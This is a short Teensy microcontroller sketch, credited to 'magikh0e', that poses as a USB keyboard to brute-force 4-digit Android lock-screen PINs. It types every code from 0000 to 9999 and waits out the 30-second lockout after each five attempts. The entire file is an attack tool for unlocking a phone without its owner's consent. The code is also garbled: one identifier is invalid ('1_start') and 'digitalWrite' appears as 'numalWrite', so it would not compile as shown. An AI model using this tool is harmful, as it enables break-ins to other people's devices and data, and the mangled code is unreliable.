// Brute force 4 digit pins on Android using Teensy Kit 2.0
// magikh0e

int finished = 0;
 
const int ledPin = 11;
const int 1_start = 0;
const int num2_start = 0;
const int num3_start = 0;
const int num4_start = 0;
 
const int num1_stop = 9;
const int num2_stop = 9;
const int num3_stop = 9;
const int num4_stop = 9;
 
void setup()
{
  pinMode(ledPin, OUTPUT);
  delay(5000);
}
 
void loop()
{
  if ( finished == 0 )
  {
    for( int num1 = num1_start; num1 <= num1_stop; num1++ )
    {
      for( int num2 = num2_start; num2 <= num2_stop; num2++ )
      {
        for( int num3 = num3_start; num3 <= num3_stop; num3++ )
        {
          for( int num4 = num4_start; num4 <= num4_stop; num4++ )
          {
            if ( (num4 == 4) || (num4 == 9) ) // Wait for 30 seconds after 5 attempts - android lock
            {
              Keyboard.println(String(num1) + String(num2) + String(num3) + String(num4));
              for ( int timer = 1; timer <= 6; timer++ ) // 6 * 5 seconds = 30 sec
              {
                
                numalWrite(ledPin, HIGH);
                // Wait 5 seconds and hit Enter
                delay(5000);
                Keyboard.println();
              }
              
              delay(2000);
              numalWrite(ledPin, LOW); 
            }
            else 
            {
              Keyboard.print(String(num1) + String(num2) + String(num3) + String(num4)); 
              delay(500);
              Keyboard.println();
            }
          }
        }
      }
    }
      finished = 1;
  }
  else
  {
    numalWrite(ledPin, HIGH);   
    delay(2500);                  
    numalWrite(ledPin, LOW);    
    delay(2500);                  
    Keyboard.println();
  }
}